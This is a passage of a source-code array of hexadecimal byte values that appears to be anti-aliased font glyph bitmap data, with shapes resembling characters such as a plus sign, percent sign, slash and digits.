0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF,
0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF,
0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF,
0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76,
0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF,
0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF,
0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0x71,
0x71, 0x71, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57,
0xC8, 0xC8, 0xC7, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC1, 0xE4, 0xE4, 0xE4, 0xE4, 0xE4, 0xF6, 0xFF, 0xFF, 0xFF, 0xEC, 0xE4, 0xE4, 0xE4, 0xE4, 0xE4,
0x77, 0xDE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x8B, 0xDD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x8A, 0x10, 0x17, 0x17, 0x17, 0x17, 0x17, 0x86, 0xFF, 0xFF, 0xFF, 0x36, 0x17, 0x17,
0x17, 0x17, 0x17, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF,
0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF,
0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF,
0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76,
0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0x71, 0x71,
0x71, 0x71, 0x71, 0xB8, 0xFF, 0xFF, 0xFF, 0x87, 0x71, 0x71, 0x71, 0x71, 0x71, 0x39, 0xDE, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8B, 0xDE,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8B,
0x76, 0x8E, 0x8E, 0x8E, 0x8E, 0x8E, 0xC7, 0xFF, 0xFF, 0xFF, 0xA0, 0x8E, 0x8E, 0x8E, 0x8E, 0x8E,
0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x1F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF,
0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2F, 0x71, 0x71,
0x71, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x27, 0x31, 0x09, 0x00, 0x00,
0x00, 0x4E, 0xE8, 0xFF, 0xFF, 0xFA, 0x83, 0x02, 0x2D, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x70,
0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0xB4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF3,
0x9A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x4B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x94,
0x00, 0x89, 0xFE, 0xFF, 0xFF, 0xFF, 0xC2, 0x0E, 0x00, 0x00, 0x30, 0x6B, 0x76, 0x48, 0x01, 0x00,
0x01, 0x0B, 0x0B, 0x0B, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x0B, 0x0B, 0x09,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0B, 0x0B, 0x0B, 0x00, 0x40, 0xFF, 0xFF, 0xFF,
0x92, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xED, 0xFF, 0xFF, 0xE9, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x97, 0xFF, 0xFF, 0xFF, 0x3C, 0x43, 0xFF, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xF0, 0xFF, 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A,
0xFF, 0xFF, 0xFF, 0x3F, 0x43, 0xFF, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xF0, 0xFF, 0xFF, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x3F,
0x3E, 0xFF, 0xFF, 0xFF, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0xFF, 0xFF, 0xE7,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xFF, 0x3A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x03, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x04, 0x5F, 0x96, 0xBB, 0x9A, 0x66, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF,
0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x25, 0xCB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD5, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34,
0xFE, 0xFF, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x09, 0xD8, 0xFF, 0xFF, 0xFA, 0xDD, 0xF8, 0xFF, 0xFF, 0xE5, 0x11, 0x00, 0x00, 0x00,
0x00, 0xBF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF, 0xBA, 0x18, 0x00, 0x10, 0xA9, 0xFF, 0xFF, 0x97, 0x00,
0x00, 0x00, 0x4B, 0xFF, 0xFD, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0xE7, 0x0F, 0x00, 0x00, 0x00, 0x07, 0xD8, 0xFF,
0xD9, 0x00, 0x00, 0x03, 0xD5, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE5, 0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x00,
0x92, 0xFF, 0xFE, 0x08, 0x00, 0x65, 0xFF, 0xF5, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDC, 0xFF, 0xBF, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA7, 0xFF, 0xF2, 0x01, 0x0B, 0xE6, 0xFF, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0xFF, 0xFF, 0x4B,
0x00, 0x00, 0x00, 0x36, 0xFB, 0xFF, 0xC2, 0x00, 0x7E, 0xFF, 0xE9, 0x0D, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFE,
0xFF, 0xFB, 0x8E, 0x57, 0x83, 0xF6, 0xFF, 0xFF, 0x53, 0x17, 0xF3, 0xFF, 0x6A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x87, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x97, 0xFF, 0xD9, 0x04, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x56, 0xE5, 0xFF, 0xFF, 0xFF, 0xEB, 0x64, 0x00, 0x28, 0xFB, 0xFF, 0x51,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x40, 0x20, 0x00, 0x00, 0x00, 0xB0, 0xFF,
0xC4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E,
0xFF, 0xFF, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0xC9, 0xFF, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x56, 0xFF, 0xFA, 0x25, 0x00, 0x3B, 0x88, 0xB2, 0xB2, 0x82, 0x2C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x6A, 0x9E, 0xB6, 0x9D, 0x67, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x06, 0xDD, 0xFF, 0x93, 0x05, 0x92, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0x79,
0x00, 0x00, 0x00, 0x00, 0x31, 0xD7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD3, 0x2D, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xF1, 0x15, 0x81, 0xFF, 0xFF, 0xFF, 0xE0, 0xE5, 0xFF,
0xFF, 0xFF, 0x60, 0x00, 0x00, 0x10, 0xE4, 0xFF, 0xFF, 0xF6, 0xD7, 0xF6, 0xFF, 0xFF, 0xDF, 0x0D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xEC, 0xFF, 0x7A, 0x24, 0xFB, 0xFF, 0xEB, 0x42, 0x00,
0x00, 0x5A, 0xF8, 0xFF, 0xF1, 0x0E, 0x00, 0x92, 0xFF, 0xFF, 0xAD, 0x10, 0x00, 0x11, 0xAF, 0xFF,
0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xE4, 0x09, 0x5F, 0xFF, 0xFF, 0x57,
0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0x3F, 0x00, 0xD2, 0xFF, 0xDC, 0x08, 0x00, 0x00, 0x00,
0x0A, 0xE0, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF7, 0xFF, 0x61, 0x00, 0x8B, 0xFF,
0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xFF, 0xFF, 0x6B, 0x01, 0xF7, 0xFF, 0xA4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x9F, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xFF, 0xD2, 0x02, 0x00,
0x77, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0x56, 0x00, 0xE9, 0xFF, 0xB2,
0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xFF, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x31, 0xFE, 0xFF, 0x48,
0x00, 0x00, 0x46, 0xFF, 0xFF, 0xAE, 0x02, 0x00, 0x00, 0x08, 0xCB, 0xFF, 0xFF, 0x25, 0x00, 0xB9,
0xFF, 0xFE, 0x43, 0x00, 0x00, 0x00, 0x46, 0xFE, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x00, 0xBB, 0xFF,
0xBB, 0x00, 0x00, 0x00, 0x05, 0xCE, 0xFF, 0xFF, 0xC5, 0x6D, 0x6D, 0xD7, 0xFF, 0xFF, 0xB2, 0x00,
0x00, 0x47, 0xFF, 0xFF, 0xFA, 0x8D, 0x67, 0x8E, 0xFA, 0xFF, 0xFE, 0x40, 0x00, 0x00, 0x00, 0x48,
0xFF, 0xFE, 0x31, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2,
0x17, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00,
0x02, 0xD2, 0xFF, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xB3, 0xFB, 0xFF, 0xFF, 0xF8,
0xA0, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xE4, 0xFF, 0xFF, 0xFF, 0xE1, 0x53, 0x00, 0x00,
0x00, 0x00, 0x39, 0xE1, 0xDD, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x32,
0x2D, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x3B, 0x17, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x2E, 0xDC, 0x88,
0x00, 0x00, 0x00, 0x5D, 0xF5, 0xFF, 0x88, 0x00, 0x06, 0x95, 0xFF, 0xFF, 0xFF, 0x87, 0x11, 0xC7,
0xFF, 0xFF, 0xFF, 0xBE, 0x17, 0x35, 0xFF, 0xFF, 0xFE, 0x86, 0x03, 0x00, 0x35, 0xFF, 0xFF, 0x8F,
0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFC, 0x7A, 0x01, 0x00, 0x14, 0xD0, 0xFF, 0xFF, 0xFF, 0xB4,
0x11, 0x00, 0x09, 0xA0, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x68, 0xF9, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x36, 0xE2, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x33, 0x1E, 0x1F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x60, 0xEC, 0x47, 0x00, 0x00, 0x00, 0x00, 0x60, 0xFF, 0xFD, 0x7D, 0x01,
0x00, 0x00, 0x5F, 0xFF, 0xFF, 0xFF, 0xB4, 0x11, 0x00, 0x0A, 0xA2, 0xFF, 0xFF, 0xFF, 0xDE, 0x27,
0x00, 0x00, 0x67, 0xF8, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x5F, 0xFF, 0xFF, 0x61, 0x00, 0x00,
0x5C, 0xF5, 0xFF, 0xFF, 0x61, 0x07, 0x97, 0xFF, 0xFF, 0xFF, 0xE4, 0x2B, 0x5F, 0xFF, 0xFF, 0xFF,
0xBE, 0x16, 0x00, 0x60, 0xFF, 0xFF, 0x89, 0x03, 0x00, 0x00, 0x60, 0xF1, 0x51, 0x00, 0x00, 0x00,
0x00, 0x22, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x26, 0x26, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9F, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0xFE, 0xFF, 0xA5, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xCF, 0xFF, 0xF2, 0x19, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0x72,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xEF, 0xFF,
0xD4, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0,
0xFF, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x3B, 0xFE, 0xFF, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x03, 0xD0, 0xFF, 0xF2, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x17, 0xF0, 0xFF, 0xD3, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0xFF, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xFE, 0xFF, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xD0, 0xFF, 0xF2, 0x19, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0x71, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xF0, 0xFF, 0xD3, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF,
0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFE,
0xFF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
0xD0, 0xFF, 0xF1, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x6E, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x17, 0xF0, 0xFF, 0xD3, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xA1, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFE, 0xFF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xD1, 0xFF, 0xF1, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xA1, 0x95, 0x04, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x4B, 0x67, 0x66, 0x3A, 0x0E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xC3, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xDA, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x03, 0x95, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x93, 0x09, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF9, 0xEC,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF,
0xFF, 0xFF, 0xFF, 0x92, 0x3D, 0x08, 0x00, 0x11, 0x69, 0xF0, 0xFF, 0xFF, 0xFF, 0x45, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x08, 0xE2, 0xFF, 0xFF, 0xFC, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1E, 0xEC, 0xFF, 0xFF, 0xDE, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xFF, 0x5E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x31, 0x00, 0x00, 0x00,
0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
